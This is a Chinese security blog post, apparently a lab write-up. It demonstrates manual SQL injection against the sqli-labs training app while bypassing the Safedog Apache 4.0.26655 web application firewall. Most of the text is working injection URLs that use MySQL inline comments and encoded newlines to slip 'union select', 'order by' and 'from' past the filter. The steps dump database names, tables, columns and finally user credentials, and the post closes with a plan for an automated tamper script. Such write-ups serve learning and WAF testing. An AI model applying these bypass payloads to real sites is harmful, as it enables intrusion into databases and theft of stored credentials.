SQL注入 安全狗apache4.0.26655绕过

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

说明

本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。

上次我们发了一篇SQL注入-安全狗超大数据包绕过的文章,使用的是安全狗apache3.5.12048版本,这次是4.0系列的版本,全手动注入,后续会带来这方面的视频课程和相关tamper的编写。

因为文章中的靶场搭载了公网上,所以对以前的笔记进行了打码。

如果你对sql注入不是很熟悉,可以B站看下我的sqli-labs系列视频

https://space.bilibili.com/29903122

相关笔记:

https://github.com/crow821/crowsec

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users

1.闭合注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

2. 判断列数

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by 1  --+

拦截

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order  1  --+

显示正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  by  1  --+

显示正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by  --+

异常

应该是order by不能连用,这里使用:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order/**/by  --+

不行

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order/*!*/by  --+

不行

这里使用换行试试:

%23#也就是注释符, %0a换行符

举例:

/* crow */

这是mysql的注释符,crow不会被执行

/*! crow */

这是mysql特有的内联注释,crow会被执行

/*!33333 crow*/

这是mysql的版本特性,当33333小于当前mysql版本号的时候,就会被执行

select * from /*! %23crow%0a*/users;

 等同于下图

所以这里使用这样的方式进行判断:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order %23c%0a  by  4--+

已知3列

3. 判断当前数据库

法1 database()

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  union select 1,2,3 --+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  union  1,2,3 --+

正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'   select 1,2,3 --+

正常

http:/127.0.0.1/sqli-labs-master/Less-1/?id=1'  union select 1,2,3 --+

不正常

所以这里应该是union select不能一起连用

于是使用上述的万金油方式:

关键字符

%23a%%0a

关键字

/*!%23a%%0a*/
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,3 --+

绕过

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database() --+

错误

在这里将database()这个关键字分割,用

database/*!%23a%%0a*/()

因为在sql语句中,以下三种方式均可运行

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database/*!%23a%%0a*/() --+

这里得到数据库是security

法2 schema_name

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

错误

这里对其中的关键字进行测试,看看拦截了什么

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  --+

正常

http://127.0.0.1sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  information_schema.schemata --+

正常

http:/127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from --+

正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from  --+

正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  from information_schema.schemata --+

异常

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

异常

因此这里对from进行绕过

采用老方法:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name /*!%23a%%0a*/ frominformation_schema.schemata  --+

或者:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/information_schema.schemata  --+

使用limit取出数据

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/   information_schema.schemata limit 1,1  --+

这样太慢,不如使用group_concat()

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(schema_name)  /*!%23a%%0afrom*/   information_schema.schemata   --+

4. 取出security对应的表

select table_name from information_schema.tables where table_schema='security'

如法炮制:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!from*/ information_schema.tables where table_schema='security' --+

额,这只用了一个内联注释而已,这也太。。。。

还有下面的几种方法:对from处理

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema='security' --+

security进行十六进制处理:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema=0x7365637572697479--+

5. 取出users对应的字段

查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

一样

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

啊这,我连from都没处理,waf放弃抵抗了吗?

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

还好,还好,原来还在

6. 取出username,password的值

查字段:select username,password from security.users
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  from security.users

起作用了

处理下from

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  /*!%23crow%0afrom*/ security.users --+

这样太慢,一次取出所有数据吧

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(concat_ws(0x7e, username, password)) from security.users --+

 啊,这....

这防护。。。。

7. tamper编写

这里可以分析下,为了方便,可以将所有的空格,都替换为

/*!%23crow%0a*/

,再对from关键字替换为

/*!%23crow%0afrom*/

,再对database()替换为

database/*!%23crow%0a*/()

至于什么时候,到时候配合这个再出一期视频教程吧,可能需要久一点诶

tips:

文章中难免有错误的地方,希望各位师傅见谅哈!

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值